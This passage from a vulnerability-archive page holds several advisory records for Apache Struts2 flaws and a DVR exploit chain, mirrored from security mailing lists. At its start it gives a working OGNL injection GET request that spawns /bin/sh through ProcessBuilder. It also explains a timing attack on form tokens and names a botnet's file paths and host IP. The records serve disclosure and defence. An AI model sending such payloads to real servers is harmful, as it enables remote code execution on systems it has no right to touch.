(assuming that `query` runs through the OGNL \nparser, etc. -- this can happen on the request, but also if the string is reflected back in, say, a JSP via tags that \ndo as such) without much effort.  On Apache Struts2 Core 7.x, though, `java.beans.Expression` would need to be \nwhitelisted, first.\n\nGET \n/search.action?query=new+java.beans.Expression(new+java.beans.Expression(%40java.lang.ProcessBuilder%40class,\u0027new\u0027,new+Object%5B%5D%7Bnew+String%5B%5D%7B\u0027/bin/sh\u0027,\u0027-c\u0027,\u0027id+%3E+%3C%3CREPLACE+ME+--+a+fresh+marker+file+path%3E%3E\u0027%7D%7D).getValue(),\u0027start\u0027,new+Object%5B0%5D).getValue()\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-11-02T09:47:23Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Nov/7"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Nov/7"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Nov/7"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "Apache Struts2 Core Arbitrary Code Execution via OGNL Sandbox Escape",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0532",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Nov/7",
            "automated": true,
            "contentSha256": "60321ac6a5ec6f5d5d4217c469c4fbe93afcacde091963f39ea8e8fe53d58812",
            "evidenceScore": 7,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Nov/7",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-11-01T22:23:31Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-11-02T09:47:23Z",
    "dateUpdated": "2026-11-02T09:47:23Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0532"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

GCVE-1988-2026-0531

Vulnerability from gna-1988 – Published: 2026-11-02 09:47 – Updated: 2026-11-02 09:47
VLAI
Title
Apache Struts2 Core TokenHelper Token Cryptographic Timing Side-Channel
Summary
Description The Apache Struts2 Core 7.4.0 and below performs session token comparisons cryptographically insecure early-exit comparison functions (e.g., `!=`, `memcmp`, byte-by-byte loops with `break`) that return as soon as the first mismatched byte is encountered. The execution time of the comparison is therefore proportional to the number of leading bytes that match, creating a measurable timing side-channel. Importantly, this side-channel has been dynamically verified and exploited across networks using modern techniques that reduce/factor out latency. Impact Attackers can measure response latency, iteratively determining the correct value of the hash or secret one byte at a time, reducing the attack complexity from `36^n`, where `n` is the number of bytes in the secret. While, in the ideal circumstance, the complexity of a pure brute-force attack would be `2^165` since the system is using a 165-bit BigInteger, the conversion from BigInteger to an A-Z0-9 string does not map cleanly -- the resulting string, itself, can actually be 31 or 32 characters long and bytes don't simply slot into a given character or position, thus requiring the greater `36^32` brute-force. With that said, in a system where lag can be injected, latency reduced or factored out, the theoretical floor move from the worst case `36^32` to `36*32` (1,152 requests). Of course, since the string length can vary by one, attackers must first determine the string length, which can be done via two requests -- one with each length -- a trivial addition to the worst case mentioned above but worth noting. Successful exploitation enables bypassing the `TokenHelper`-generated token, which is designed to "[s]top double-submission of forms" and may be used by information systems as a nonce as part of cross-site request forgery protections. Examples Sample Code `TokenHelper.validToken()`, leveraged by both `TokenInterceptor.handleToken(ActionInvocation)` and `TokenSessionStoreInterceptor.handleToken(ActionInvocation)`, utilises the cryptographically insecure, early-exiting `String.equals(String)` method to compare the in-session token against the user-provided token. ```java /** * Checks for a valid transaction token in the current request params. If a valid token is found, it is * removed so the it is not valid again. * * @return false if there was no token set into the params (check by looking for {@link #TOKEN_NAME_FIELD}), true if a valid token is found */ public static boolean validToken() { String tokenName = getTokenName(); if (tokenName == null) { LOG.debug("No token name found -> Invalid token "); return false; } String token = getToken(tokenName); if (token == null) { LOG.debug("No token found for token name {} -> Invalid token ", normalizeSpace(tokenName)); return false; } Map session = ActionContext.getContext().getSession(); String tokenSessionName = buildTokenSessionAttributeName(tokenName); String sessionToken = (String) session.get(tokenSessionName); if (!token.equals(sessionToken)) { if (LOG.isWarnEnabled()) { LocalizedTextProvider localizedTextProvider = ActionContext.getContext().getContainer().getInstance(LocalizedTextProvider.class); LOG.warn(localizedTextProvider.findText(TokenHelper.class, "struts.internal.invalid.token", ActionContext.getContext().getLocale(), "Form token {0} does not match the expected session token.", new Object[]{ normalizeSpace(token) })); } Dispatcher dispatcher = Dispatcher.getInstance(); if (dispatcher != null && dispatcher.isDevMode()) { LOG.warn("Token mismatch detail - token name [{}], form token [{}], session token [{}]", normalizeSpace(tokenName), normalizeSpace(token), sessionToken); } return false; } // remove the token so it won't be used again session.remove(tokenSessionName); ActionContext.getContext().put(VALIDATED_TOKEN_KEY, new ValidatedToken(tokenName, token)); return true; } ``` Code snippet from `struts2-core`'s core/src/main/java/org/apache/struts2/util/TokenHelper.java, lines 164-210 ```java protected String handleToken(ActionInvocation invocation) throws Exception { //see WW-2902: we need to use the real HttpSession here, as opposed to the map //that wraps the session, because a new wrap is created on every request HttpSession session = ServletActionContext.getRequest().getSession(true); synchronized (session.getId().intern()) { if (!TokenHelper.validToken()) { return handleInvalidToken(invocation); } } return handleValidToken(invocation); } ``` Snippet from `struts2-core`'s core/src/main/java/org/apache/struts2/interceptor/TokenInterceptor.java, lines 140-150, showing the interceptor calling for token validation -- note, too, the improper, unsafe synchronisation on `session.getId().intern()`, though that is a separate finding with a separate write-up ```java @Override protected String handleToken(ActionInvocation invocation) throws Exception { //see WW-2902: we need to use the real HttpSession here, as opposed to the map //that wraps the session, because a new wrap is created on every request HttpSession session = ServletActionContext.getRequest().getSession(true); synchronized (session.getId().intern()) { if (!TokenHelper.validToken()) { return handleInvalidToken(invocation); } return handleValidToken(invocation); } } ``` Code from `struts2-core`'s core/src/main/java/org/apache/struts2/interceptor/TokenSessionStoreInterceptor.java, lines 104-115, showing the interceptor calling for token validation -- note, too, the improper, unsafe synchronisation on `session.getId().intern()`, though that is a separate finding with a separate write-up _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
VULNARCHIVE GNA GNA-1988
GNA scorecard E 38/100 over 581 records in the last 180 days details
Impacted products
Vendor Product Version
Apache Struts2 Core Affected: unknown
Create a notification for this product.

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "Struts2 Core",
          "vendor": "Apache",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Daniel Owens via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Description\nThe Apache Struts2 Core 7.4.0 and below performs session token comparisons cryptographically insecure early-exit \ncomparison functions (e.g., `!=`, `memcmp`, byte-by-byte loops with `break`) that return as soon as the first \nmismatched byte is encountered.  The execution time of the comparison is therefore proportional to the number of \nleading bytes that match, creating a measurable timing side-channel.  Importantly, this side-channel has been \ndynamically verified and exploited across networks using modern techniques that reduce/factor out latency.\n\nImpact\nAttackers can measure response latency, iteratively determining the correct value of the hash or secret one byte at a \ntime, reducing the attack complexity from `36^n`, where `n` is the number of bytes in the secret.  While, in the ideal \ncircumstance, the complexity of a pure brute-force attack would be `2^165` since the system is using a 165-bit \nBigInteger, the conversion from BigInteger to an A-Z0-9 string does not map cleanly -- the resulting string, itself, \ncan actually be 31 or 32 characters long and bytes don\u0027t simply slot into a given character or position, thus requiring \nthe greater `36^32` brute-force.  With that said, in a system where lag can be injected, latency reduced or factored \nout, the theoretical floor move from the worst case `36^32` to `36*32` (1,152 requests).  Of course, since the string \nlength can vary by one, attackers must first determine the string length, which can be done via two requests -- one \nwith each length -- a trivial addition to the worst case mentioned above but worth noting.\n\nSuccessful exploitation enables bypassing the `TokenHelper`-generated token, which is designed to \"[s]top \ndouble-submission of forms\" and may be used by information systems as a nonce as part of cross-site request forgery \nprotections.\n\nExamples\nSample Code\n`TokenHelper.validToken()`, leveraged by both `TokenInterceptor.handleToken(ActionInvocation)` and \n`TokenSessionStoreInterceptor.handleToken(ActionInvocation)`, utilises the cryptographically insecure, early-exiting \n`String.equals(String)` method to compare the in-session token against the user-provided token.\n\n```java\n    /**\n     * Checks for a valid transaction token in the current request params. If a valid token is found, it is\n     * removed so the it is not valid again.\n     *\n     * @return false if there was no token set into the params (check by looking for {@link #TOKEN_NAME_FIELD}), true \nif a valid token is found\n     */\n    public static boolean validToken() {\n        String tokenName = getTokenName();\n\n        if (tokenName == null) {\n            LOG.debug(\"No token name found -\u003e Invalid token \");\n            return false;\n        }\n\n        String token = getToken(tokenName);\n\n        if (token == null) {\n            LOG.debug(\"No token found for token name {} -\u003e Invalid token \", normalizeSpace(tokenName));\n            return false;\n        }\n\n        Map session = ActionContext.getContext().getSession();\n                                String tokenSessionName = buildTokenSessionAttributeName(tokenName);\n        String sessionToken = (String) session.get(tokenSessionName);\n\n        if (!token.equals(sessionToken)) {\n            if (LOG.isWarnEnabled()) {\n                LocalizedTextProvider localizedTextProvider = \nActionContext.getContext().getContainer().getInstance(LocalizedTextProvider.class);\n                LOG.warn(localizedTextProvider.findText(TokenHelper.class, \"struts.internal.invalid.token\", \nActionContext.getContext().getLocale(), \"Form token {0} does not match the expected session token.\", new Object[]{\n                        normalizeSpace(token)\n                }));\n            }\n            Dispatcher dispatcher = Dispatcher.getInstance();\n            if (dispatcher != null \u0026\u0026 dispatcher.isDevMode()) {\n                LOG.warn(\"Token mismatch detail - token name [{}], form token [{}], session token [{}]\",\n                        normalizeSpace(tokenName), normalizeSpace(token), sessionToken);\n            }\n\n            return false;\n        }\n\n        // remove the token so it won\u0027t be used again\n        session.remove(tokenSessionName);\n        ActionContext.getContext().put(VALIDATED_TOKEN_KEY, new ValidatedToken(tokenName, token));\n\n        return true;\n    }\n```\nCode snippet from `struts2-core`\u0027s core/src/main/java/org/apache/struts2/util/TokenHelper.java, lines 164-210\n\n```java\n    protected String handleToken(ActionInvocation invocation) throws Exception {\n        //see WW-2902: we need to use the real HttpSession here, as opposed to the map\n        //that wraps the session, because a new wrap is created on every request\n        HttpSession session = ServletActionContext.getRequest().getSession(true);\n        synchronized (session.getId().intern()) {\n            if (!TokenHelper.validToken()) {\n                return handleInvalidToken(invocation);\n            }\n        }\n        return handleValidToken(invocation);\n    }\n```\nSnippet from `struts2-core`\u0027s core/src/main/java/org/apache/struts2/interceptor/TokenInterceptor.java, lines 140-150, \nshowing the interceptor calling for token validation -- note, too, the improper, unsafe synchronisation on \n`session.getId().intern()`, though that is a separate finding with a separate write-up\n\n```java\n    @Override\n    protected String handleToken(ActionInvocation invocation) throws Exception {\n        //see WW-2902: we need to use the real HttpSession here, as opposed to the map\n        //that wraps the session, because a new wrap is created on every request\n        HttpSession session = ServletActionContext.getRequest().getSession(true);\n        synchronized (session.getId().intern()) {\n            if (!TokenHelper.validToken()) {\n                return handleInvalidToken(invocation);\n            }\n            return handleValidToken(invocation);\n        }\n    }\n```\nCode from `struts2-core`\u0027s core/src/main/java/org/apache/struts2/interceptor/TokenSessionStoreInterceptor.java, lines \n104-115, showing the interceptor calling for token validation -- note, too, the improper, unsafe synchronisation on \n`session.getId().intern()`, though that is a separate finding with a separate write-up\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-11-02T09:47:23Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Nov/6"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Nov/6"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Nov/6"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "Apache Struts2 Core TokenHelper Token Cryptographic Timing Side-Channel",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0531",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Nov/6",
            "automated": true,
            "contentSha256": "044200c139b8cd0f5d7295ea756dda08f09367d31f08f0c057f69133a4d8b66c",
            "evidenceScore": 7,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Nov/6",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-10-31T21:21:13Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-11-02T09:47:23Z",
    "dateUpdated": "2026-11-02T09:47:23Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0531"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

GCVE-1988-2026-0530

Vulnerability from gna-1988 – Published: 2026-11-02 09:47 – Updated: 2026-11-02 09:47
VLAI
Title
Apache Struts2 Spring Plugin Uses a Previously Closed Resource
Summary
Description The Apache Struts2 Spring Plugin opens a Spring `ApplicationContex` via a try-with-resources block and, outside of said block, then continues to use the closed resource, resulting in an uncaught `IllegalStateException`. This particular issue prevents proper functionality and indicates poor code quality and code review standards and processes, while not being, itself, otherwise excessively meaningful for a production environment (as developer mode should not be enabled in such an environment), although it would hamper staging, test, and developer environments that are configured in accordance with Apache-recommended hot-reload configurations for such environments (https://struts.apache.org/plugins/spring/#class-reloading). Impact Anyone who follows Struts' documented configuration for this plugin -- enabling `struts.devMode`, setting a non-blank `struts.objectFactory.spring.class.reloading.watchList`, and declaring `ClassReloadingXMLWebApplicationContext` as the root context class in web.xml -- will trigger this pathway on every application startup. Since close() call `null`s the context's internal bean factory immediately after `refresh()` succeeds, `SpringObjectFactory.setApplicationContext()`call to `getBeanFactory()` throws an uncaught `IllegalStateException`, aborting the Struts-Spring integration startup process before it can ever finish. Even if the exception were caught, `close()` has already stopped the `FilesystemAlterationMonitor` watchdog thread, so the live class-reloading capability would never fire a single reload. As such, the hot-reload feature cannot and does not work with this Apache-recommended configuration. Examples Sample Code The code below clearly shows the issue when in developer, a watch list, and hot-reloading are enabled. The try-with-resources calls `.close()` when exiting, against `reloadingContext`, which is merely a pointer to `appContext`, thereby closing `appContext`. Immediately after exiting the try-with-resources and wrapping conditional, `this. setApplicationContext` is called, passing in the now closed `appContext`. Importantly, ` ClassReloadingXMLWebApplicationContext`, to which `appContext` was cast during the initialisation of the try-with-resources and against which the `finally` that this construct generates (try-with-resources effectively being syntactic sugar for a `try{...} finally{reloadingContext.close()}`), has a `close()` defined that calls to `super.close()` before removing and stopping the listener. ```java String watchList = container.getInstance(String.class, SpringConstants.STRUTS_OBJECTFACTORY_SPRING_CLASS_RELOADING_WATCH_LIST); String acceptClasses = container.getInstance(String.class, SpringConstants.STRUTS_OBJECTFACTORY_SPRING_CLASS_RELOADING_ACCEPT_CLASSES); String reloadConfig = container.getInstance(String.class, SpringConstants.STRUTS_OBJECTFACTORY_SPRING_CLASS_RELOADING_RELOAD_CONFIG); if ("true".equals(devMode) && StringUtils.isNotBlank(watchList) && appContext instanceof ClassReloadingXMLWebApplicationContext) { //prevent class caching useClassCache = false; try (ClassReloadingXMLWebApplicationContext reloadingContext = (ClassReloadingXMLWebApplicationContext) appContext) { reloadingContext.setupReloading(watchList.split(","), acceptClasses, servletContext, "true".equals(reloadConfig)); LOG.info("Class reloading is enabled. Make sure this is not used on a production environment!\n{}", watchList); setClassLoader(reloadingContext.getReloadingClassLoader()); // we need to reload the context, so our isntance of the factory is picked up reloadingContext.refresh(); } } this.setApplicationContext(appContext); ``` Code snippet from `struts2-spring-plugin`'s plugins/spring/src/main/java/org/apache/struts2/spring/StrutsSpringObjectFactory.java, lines 97-120 ```java public void close() { super.close(); if (filesystemAlterationMonitor != null) { filesystemAlterationMonitor.removeListener(this); filesystemAlterationMonitor.stop(); } } ``` Snippet from `struts2-spring-plugin`'s plugins/spring/src/main/java/org/apache/struts2/spring/ClassReloadingXMLWebApplicationContext.java, lines 157-164, showing the close() override invoked by the implicit try-with-resources call _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
VULNARCHIVE GNA GNA-1988
GNA scorecard E 38/100 over 581 records in the last 180 days details
Impacted products
Vendor Product Version
Apache Struts2 Spring Affected: unknown
Create a notification for this product.

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "Struts2 Spring",
          "vendor": "Apache",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Daniel Owens via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Description\nThe Apache Struts2 Spring Plugin opens a Spring `ApplicationContex` via a try-with-resources block and, outside of said \nblock, then continues to use the closed resource, resulting in an uncaught `IllegalStateException`.  This particular \nissue prevents proper functionality and indicates poor code quality and code review standards and processes, while not \nbeing, itself, otherwise excessively meaningful for a production environment (as developer mode should not be enabled \nin such an environment), although it would hamper staging, test, and developer environments that are configured in \naccordance with Apache-recommended hot-reload configurations for such environments \n(https://struts.apache.org/plugins/spring/#class-reloading).\n\nImpact\nAnyone who follows Struts\u0027 documented configuration for this plugin -- enabling `struts.devMode`, setting a non-blank \n`struts.objectFactory.spring.class.reloading.watchList`, and declaring `ClassReloadingXMLWebApplicationContext` as the \nroot context class in web.xml -- will trigger this pathway on every application startup.  Since close() call `null`s \nthe context\u0027s internal bean factory immediately after `refresh()` succeeds, \n`SpringObjectFactory.setApplicationContext()`call to `getBeanFactory()` throws an uncaught `IllegalStateException`, \naborting the Struts-Spring integration startup process before it can ever finish.  Even if the exception were caught, \n`close()` has already stopped the `FilesystemAlterationMonitor` watchdog thread, so the live class-reloading capability \nwould never fire a single reload.  As such, the hot-reload feature cannot and does not work with this \nApache-recommended configuration.\n\nExamples\nSample Code\nThe code below clearly shows the issue when in developer, a watch list, and hot-reloading are enabled.  The \ntry-with-resources calls `.close()` when exiting, against `reloadingContext`, which is merely a pointer to \n`appContext`, thereby closing `appContext`.  Immediately after exiting the try-with-resources and wrapping conditional, \n`this. setApplicationContext` is called, passing in the now closed `appContext`.  Importantly, ` \nClassReloadingXMLWebApplicationContext`, to which `appContext` was cast during the initialisation of the \ntry-with-resources and against which the `finally` that this construct generates (try-with-resources effectively being \nsyntactic sugar for a `try{...} finally{reloadingContext.close()}`), has a `close()` defined that calls to \n`super.close()` before removing and stopping the listener.\n\n```java\n        String watchList = container.getInstance(String.class, \nSpringConstants.STRUTS_OBJECTFACTORY_SPRING_CLASS_RELOADING_WATCH_LIST);\n        String acceptClasses = container.getInstance(String.class, \nSpringConstants.STRUTS_OBJECTFACTORY_SPRING_CLASS_RELOADING_ACCEPT_CLASSES);\n        String reloadConfig = container.getInstance(String.class, \nSpringConstants.STRUTS_OBJECTFACTORY_SPRING_CLASS_RELOADING_RELOAD_CONFIG);\n\n        if (\"true\".equals(devMode)\n                \u0026\u0026 StringUtils.isNotBlank(watchList)\n                \u0026\u0026 appContext instanceof ClassReloadingXMLWebApplicationContext) {\n            //prevent class caching\n            useClassCache = false;\n\n            try (ClassReloadingXMLWebApplicationContext reloadingContext = (ClassReloadingXMLWebApplicationContext) \nappContext) {\n                reloadingContext.setupReloading(watchList.split(\",\"), acceptClasses, servletContext,\n                        \"true\".equals(reloadConfig));\n                LOG.info(\"Class reloading is enabled. Make sure this is not used on a production environment!\\n{}\",\n                        watchList);\n\n                setClassLoader(reloadingContext.getReloadingClassLoader());\n\n                // we need to reload the context, so our isntance of the factory is picked up\n                reloadingContext.refresh();\n            }\n        }\n\n        this.setApplicationContext(appContext);\n```\nCode snippet from `struts2-spring-plugin`\u0027s \nplugins/spring/src/main/java/org/apache/struts2/spring/StrutsSpringObjectFactory.java, lines 97-120\n\n```java\n    public void close() {\n        super.close();\n\n        if (filesystemAlterationMonitor != null) {\n            filesystemAlterationMonitor.removeListener(this);\n            filesystemAlterationMonitor.stop();\n        }\n    }\n```\nSnippet from `struts2-spring-plugin`\u0027s \nplugins/spring/src/main/java/org/apache/struts2/spring/ClassReloadingXMLWebApplicationContext.java, lines 157-164, \nshowing the close() override invoked by the implicit try-with-resources call\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-11-02T09:47:23Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Nov/5"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Nov/5"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://struts.apache.org/plugins/spring/#class-reloading"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Nov/5"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "Apache Struts2 Spring Plugin Uses a Previously Closed Resource",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0530",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Nov/5",
            "automated": true,
            "contentSha256": "1ba77d73727b6f2ebe1ffe04e9e1f5d109fc13c74e93df5e211b3a85887563e5",
            "evidenceScore": 6,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Nov/5",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-10-31T19:46:10Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-11-02T09:47:23Z",
    "dateUpdated": "2026-11-02T09:47:23Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0530"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

GCVE-1988-2026-0529

Vulnerability from gna-1988 – Published: 2026-11-02 09:47 – Updated: 2026-11-02 09:47
VLAI
Title
[Bugtraq] crosspost: Digital Watchdog DVRs of the VMAX series: exploit chain from unauth to RCE
Summary
Hi, Neither the vendor, exploit-db.com or seclists.org seem to deem this as an actual vulnerability. MITRE gave it a CVE number after three months of waiting, CVE-2026-51204, still not released. Technically should even get three CVEs, one per vulnerability, but one per exploit chain should be plenty, so I requested only one. The CVE numbers are getting into six figures too quickly. Exploit chain is as follows: unauth encrypted config database download -> decryption of encrypted config via hardcoded keys, different keys for different OEMs -> auth RCE via some TLS certificate functionality, but other vectors also exist. I really hoped that I could have kept that exploit chain for myself, but as soon as I saw the KadNap botnet spreading on those devices, next to its usual target of ancient axentra/mystora/goflex NAS, I had to release it. The common/main use of the botnet on these devices, and those NAS, if I can trust my honeypots, seems to be mainly residential proxies. There's still no update or warning of any kind by the vendor, and I strongly assume that the operators of the botnet are using the same vulnerabilities. Killing the processes (named "./kad" located in "/setup/.dw.agent/") can help only temporarily, as it's redeploying over the "/setup/nptime" shell script upon each reboot. From what I can understand after a quick internet search is, that the hoster of the scripts and binaries (IP: 88[.]119.175.67, ASN 61272) is actively refusing to take down the server. Similar as, from what I read, that Microsoft/GitHub is actively refusing to take down a repo that is hiding Mirai within several camera firmware dumps. PoC: https://packetstorm.news/files/id/217634/
Severity
No CVSS data available.
Assigner
VULNARCHIVE GNA GNA-1988
GNA scorecard E 38/100 over 581 records in the last 180 days details
Impacted products

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "crosspost Digital Watchdog",
          "vendor": "unknown",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Christian Inci"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Hi,\nNeither the vendor, exploit-db.com or seclists.org seem to deem this as an actual vulnerability.\nMITRE gave it a CVE number after three months of waiting, CVE-2026-51204, still not released.\nTechnically should even get three CVEs, one per vulnerability, but one per exploit chain should be plenty, so I requested only one. The CVE numbers are getting into six figures too quickly.\nExploit chain is as follows:\nunauth encrypted config database download -\u003e decryption of encrypted config via hardcoded keys, different keys for different OEMs -\u003e auth RCE via some TLS certificate functionality, but other vectors also exist.\nI really hoped that I could have kept that exploit chain for myself, but as soon as I saw the KadNap botnet spreading on those devices, next to its usual target of ancient axentra/mystora/goflex NAS, I had to release it.\nThe common/main use of the botnet on these devices, and those NAS, if I can trust my honeypots, seems to be mainly residential proxies.\nThere\u0027s still no update or warning of any kind by the vendor, and I strongly assume that the operators of the botnet are using the same vulnerabilities.\nKilling the processes (named \"./kad\" located in \"/setup/.dw.agent/\") can help only temporarily, as it\u0027s redeploying over the \"/setup/nptime\" shell script upon each reboot.\nFrom what I can understand after a quick internet search is, that the hoster of the scripts and binaries (IP: 88[.]119.175.67, ASN 61272) is actively refusing to take down the server.\nSimilar as, from what I read, that Microsoft/GitHub is actively refusing to take down a repo that is hiding Mirai within several camera firmware dumps.\nPoC: https://packetstorm.news/files/id/217634/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-11-02T09:47:23Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description",
            "exploit"
          ],
          "url": "https://vuln.freearchive.org/archive/item/b12d83a297fc9bf96d92da94e1f594d33d2067ff1a0f9e130fe993e59199bba6"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://lists.securityfocus.com/hyperkitty/list/bugtraq@securityfocus.com/message/YDCIIMIXQFIXHL62BCJKTRIMQ43AO6DZ/"
        },
        {
          "url": "https://packetstorm.news/files/id/217634/"
        }
      ],
      "source": {
        "defect": [
          "bf077a9e-f2cd-42ef-84b2-c06e04be79bd%40broke-the-inter.net"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "[Bugtraq] crosspost: Digital Watchdog DVRs of the VMAX series: exploit chain from unauth to RCE",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0529",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/item/b12d83a297fc9bf96d92da94e1f594d33d2067ff1a0f9e130fe993e59199bba6",
            "automated": true,
            "contentSha256": "b12d83a297fc9bf96d92da94e1f594d33d2067ff1a0f9e130fe993e59199bba6",
            "evidenceScore": 8,
            "messageId": "bf077a9e-f2cd-42ef-84b2-c06e04be79bd%40broke-the-inter.net",
            "originalUrl": "https://lists.securityfocus.com/hyperkitty/list/bugtraq@securityfocus.com/message/YDCIIMIXQFIXHL62BCJKTRIMQ43AO6DZ/",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-11-02T09:47:23Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-11-02T09:47:23Z",
    "dateUpdated": "2026-11-02T09:47:23Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0529"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

GCVE-1988-2026-0528

Vulnerability from gna-1988 – Published: 2026-11-02 09:47 – Updated: 2026-11-02 09:47
VLAI
Title
[Bugtraq] Johnson Controls - DSC TL280 - home alarm system - Use of a Broken or Risky Cryptographic Algorithm
Summary
